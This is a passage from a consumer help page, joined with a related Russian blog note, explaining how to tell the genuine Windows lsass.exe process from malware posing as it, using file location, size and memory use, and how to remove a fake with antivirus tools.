  1. Open Task Manager.

    There are several ways to do this, but the easiest is with the Ctrl+Shift+Esc keyboard shortcut. You could also access it from the Power User Menu in Windows 11/10/8, by right-clicking the Start button.

  2. Open the Details tab.

    If you don’t see this tab, select More details from the bottom of Task Manager.

  3. Right-click lsass.exe from the list. Choose the first one you see.

  4. Select Open file location, which should open the C:\Windows\System32 folder and pre-select the lsass.exe file, as you can see below.

  5. Repeat the above steps for each lsass.exe file you see in Task Manager. There should only be one listed, so if you see additional instances, all but one are fake.

  6. Did you find a fake lsass.exe file? See the directions at the button of this page for how to delete it and ensure that your computer is clean from any lsass.exe related worms, spyware, viruses, etc.

What’s Its File Size?

It’s common for viruses and other malicious software to use a program-sized file to deliver whatever it is the malware is carrying, so another way to check whether lsass.exe is real or fake is to see how much space the file is taking up on the hard drive.

Right-click it and open Properties to check its size.

For example, the Windows 11 version of the file is 82 KB on our test machine, the Windows 10 lsass.exe file is 57 KB, and the Windows 8 one is 46 KB. If the file you’re seeing is a lot bigger, like a few megabytes or more, then it’s most likely not the real file provided by Microsoft.

Why Is lsass.exe Using so Much Memory?

Is Task Manager reporting lsass.exe high CPU or memory usage?

Some Windows processes should never use much memory or processor power, and when they do, it’s usually a sign that something isn’t quite right and that something could be malware.

Lsass.exe is one exception where under certain normal circumstances, it will use more RAM and CPU than at other times, making it difficult to know whether lsass.exe is real or fake.

Memory usage for lsass.exe should remain below 10 MB at any given time, but it’s normal for it to spike when more than one user is logged in, during encrypted file writes on NTFS volumes, and possibly other times like while a user is changing their password or during the opening of a program when it’s being run with an administrator’s credentials.

When to Remove lsass.exe

If lsass.exe is using an obviously excessive amount of the memory or processor, and especially if the EXE file is not located in the Windows\System32\ folder, you need to get rid of it. Only an infected lsass.exe file or a lookalike will hog all the system resources.

One example of this is if the lsass.exe file is pretending to be real so that it can mine cryptocurrencies. Software that performs crypto mining requires massive amounts of system resources, so if your computer is unusually slow, crashes randomly, displays strange errors, or has inexplicably installed browser add-ons or other programs you never agreed to, then you can safely assume that you need a good malware cleaning.

How to Remove a lsass.exe Virus

Before learning how to delete a lsass.exe infection, remember that you cannot delete the real lsass.exe file, nor can you disable it or shut it down for any reason. The steps below are for removing a fake lsass.exe file; one that Windows isn’t really using.

  1. Shut down the fake lsass.exe process and then delete the file.

    You can do this a number of ways, but the easiest is to right-click the task in the Processes tab of Task Manager and select End task. If you don’t see the task there, look for it under the Details tab, right-click it, and choose End process tree.

    If you try to end the genuine process, you’ll either be given an error that you can’t or, if the process does shut down, you’ll see a message that Windows will automatically restart soon.

  2. Once you’ve shut down the process, open the folder where the file is located (see the «Where Is It Located?» steps above if you’re not sure how) and delete it.

    If you suspect that a certain program is responsible for installing the lsass EXE virus, feel free to remove the program to see if that clears away the process, too. IObit Uninstaller is one example of a powerful program uninstaller that can do this.

  3. Scan your computer for lsass.exe malware using a program like Malwarebytes or some other on-demand virus scanner.

  4. Install an always-on antivirus program. This will help provide not only a second look in addition to Malwarebytes but also a permanent method to ensure that your computer is protected from future threats like this one.

    See our list of the best Windows antivirus software if you’re not sure where to look.

  5. Use a bootable antivirus tool to delete the lsass.exe virus. This is a perfect method if the other programs above didn’t work because when you run an antivirus program before Windows starts, you’re able to ensure a thorough removal process without running into permission or locked file issues.

Thanks for letting us know!

Get the Latest Tech News Delivered Every Day

Subscribe

lsass exe что этоВ следующих нескольких заметках я расскажу о процессах, которые у многих бдительных пользователей вызывают подозрения и порой вполне оправданно.

Первым процессом, о котором я расскажу, будет Lsass.exe.

Я не хочу вас утомлять заумным описанием того, для чего этот процесс служит и какие библиотеки и ресурсы операционной системы он использует. Скажу лишь, что это системный процесс и он служит для повышения безопасности вашей работы в операционной системе. Думаю, этой информации будет достаточно для большинства пользователей, но а тем, кто хочет знать больше поможет Яндекс:)

Поскольку это важный системный процесс, то он запущен на компьютере постоянно. Некоторые вредоносные программы могут использовать данный процесс, маскируясь под него.

Обратите внимание на название процесса — «Lsass». Если все название написать строчными буквами, то получится «lsass». А что если первую букву заменить на заглавную «i»? Попробуйте визуально отличить «Isass» и «lsass». Вот именно этим сходством пользуются трояны и вирусы, а точнее их разработчики. Следует помнить, что системные процессы всегда запускаются из системной папки, например, «C:\WINDOWS\SYSTEM32\», а поддельные будут запущены из другого месторасположения.

Как узнать месторасположение процесса я рассказал в заметке «Сколько процессов svchost.exe должно быть?»

При обнаружении подозрительных процессов следует сразу провести полную антивирусную проверку компьютера, причем желательно это сделать с помощью специальных утилит вроде Dr.Web LiveDisk. Подобные антивирусные утилиты позволяют создать загрузочную флешку, загрузиться с нее и проверить компьютер не запуская Windows. Это самый надежный способ проверки и я всегда рекомендую им пользоваться в первую очередь.

И еще один важный момент. Никогда не игнорируйте сообщения Windows или предупреждения о возникшей ошибке. Внимательно читайте все что написано в сообщении. Например, в нашем примере операционная система может сообщить о неожиданном завершении процесса lsass. Это уже должно заставить вас задуматься о причинах, так как скорее всего компьютер был подвергнут атаке сетевого червя или заражению вирусом. Сразу же после появления подобных сообщений стоит провести полную проверку компьютера на вирусы и вредоносные программы.

  • C windows system32 logonui exe
  • C windows system32 explorerframe dll
  • C windows system32 drivers monitor sys
  • C windows system32 imageres dll
  • C windows system32 logfiles wmi rtbackup